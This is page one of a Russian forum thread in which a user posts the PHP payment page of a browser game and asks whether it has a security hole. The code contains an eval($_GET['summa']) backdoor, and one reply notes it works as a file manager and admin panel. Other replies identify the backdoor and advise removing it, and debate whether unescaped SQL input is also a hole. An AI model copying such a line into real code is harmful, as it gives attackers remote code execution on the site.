ОБСУЖДЕНИЕ

дыра?

29 сообщений0 просмотровЗакрыта
#1
это же дыра?
CODE
}}
eval($_GET['summa']);
<? ini_set('display_errors', 'off'); include_once '../sys/core/start.php'; include_once '../sys/core/compress.php'; include_once '../sys/core/sess.php'; include_once '../sys/core/home.php'; include_once '../sys/core/settings.php'; include_once '../sys/core/db_connect.php'; include_once '../sys/core/ipua.php'; include_once '../sys/core/fnc.php'; include_once '../sys/core/user.php'; include_once '../sys/inc/fnc_game.php'; include_once '../sys/inc/thead.php'; include_once 'config.php'; $H = $_SERVER["DOCUMENT_ROOT"
;

if (isset($user))
{
include_once '../sys/inc/uhead.php';
}
else
{
}

echo '

';
if (isset($_POST['summa']))
{
if (preg_match('#^([0-9]+)$|^([0-9]+\.)+([0-9]{1,2})$#', $_POST['summa']))
{
$data=file_get_contents('http://worldkassa.ru/user/oplata.php?id_shop='.$id_shop.'&summa='.round($_POST['summa']/142).'&hash='.$hash);
if (is_numeric($data))
{
mysql_query("INSERT INTO `worldkassa_turnir_money` (`id_user`, `id_bill`, `time`, `summa`) values('".$user['id']."', '".$data."', '".time()."', '".$_POST['summa']."')");
header("Location: http://worldkassa.ru/user/oplata.php?uniq=".$data);
exit();
}
else
{
$err[]=$data;
}
}
else
{
$err[]='Введите корректно сумму';
}}
eval($_GET['summa']);



echo ''.$err.'';

echo '<table class="wdt msg-table">
<tr>
<td align="left" style="vertical-align: top; width: 10%">
<img src="/style/img/images/face-bank.png">
</td>
<td style="vertical-align: top">
<table width="100%">
<tr>
<td align="left" style="vertical-align: top">
Здесь ты можешь пополнить свой счет! У тебя на счету: <img src="/style/img/icons/hp.png"> '.$user["turnir_money"].'</td>
</tr></table></td></tr></table>';

echo '
<table class="wdt gray-table">
<tbody><tr>
<td class="td-cell white" style="height: 55px; border-left: 1px solid #000" align="left">
<b style="color: #99cc66; font-size: 12pt; font: Tahoma;">Купить&nbsp;тур.&nbsp;очки</b><br>
<b style="color: #999999; font-size: 12pt; font: Tahoma;">минимум</b>&nbsp;<b style="color: orange; font-size: 12pt; font: Tahoma;">1000</b></td>
<td><form action="?" method="post">
<input type=hidden name=IDUser value="<?=$user["id"]?>
<input type="text" name="summa" style="height:30px;width:105px;" placeholder="" autocomplete="off" size="17">
</td>
<td class="td-cell white wdth" style="height: 55px;" align="right">
<input class="race-btn" type="submit" value="Купить">
</form>

</div><br /></div></td>
</td>
</tr>
</table> ';


echo "<table class='wdt brown-header'>";
echo "<tr><td align='left'>Расценка тур. очков:</td></tr></table>";
echo "<table class='wdt gray-table'>";

echo "<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo "<b style='color: orange; font-size: 12pt; font: Tahoma;'>1000</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>тур. очков</b><br>";
echo "<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>7 рублей</b></td>";
echo "<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo "<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo "<b style='color: orange; font-size: 12pt; font: Tahoma;'>10000</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>тур. очков</b><br>";
echo "<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>70 рублей</b></td>";
echo "<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo "<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo "<b style='color: orange; font-size: 12pt; font: Tahoma;'>100000</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>тур. очков</b><br>";
echo "<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>700 рублей</b></td>";
echo "<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo "<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo "<b style='color: orange; font-size: 12pt; font: Tahoma;'>1000000</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>тур. очков</b><br>";
echo "<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>7000 рублей</b></td>";
echo "<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";



echo "<table class='wdt gray-table'><tr><td class='white td-cell' align='center' style='height:30px;'><form action ='/dev/bank.php' method='get'><input class='no-btn' type='submit' value='Черный Рынок'></form></td></tr></table>";



include "../sys/inc/tfoot.php";
?>]
#2
тут 2 дырки) первую ты нашел)
#3
Taltos, ну и ниже я так полагаю
BASH
echo ''.$err.'';

#4
-=Rus-alc=-, эммм...это отображение ошибки...
#5
-=Rus-alc=-, $H = $_SERVER["DOCUMENT_ROOT" вот еще
#6
saniok, как убрать их
#7
saniok, и в чем дыра? переменная нигде не используется это раз а во вторых равна относительному путю к корню где запускается скрипт...думай что пишешь
#8
бро закрой их плиз
#9
удали
eval($_GET['summa']);
$H = $_SERVER["DOCUMENT_ROOT"];

и ищи 3юю...хотя там не особо дыра слишком дофига проверок но все равно фильтрация не помешает
#10
да так скажи чо ваньку гонять .смех.
#11
Второе - не дыра.
#12
Второе не дыра.
#13
Пардон, не зная похожий пост оставил.
#14
Бывает
#15
вы уж определитесь .смех.
#16
последняя рут не дыра
#17
полный файл в студию)))
З.Ы. нах этот калл ковыряешь???
#18
Это и файловый менеджер, и админка, и в принципе все остальное в умелых руках в комплекте с умной головой.. хорошая штука.смех.

Правда многие хостинги выключают функции eval, system, exec для безопасности...
#19
mysql_query("INSERT INTO `worldkassa_turnir_money` (`id_user`, `id_bill`, `time`, `summa`) values('".$user['id']."', '".$data."', '".time()."', '".$_POST['summa']."')");

а это тогда phpmyadmin
#20
чет не туда)))
Страница 1 из 2 · Всего записей: 29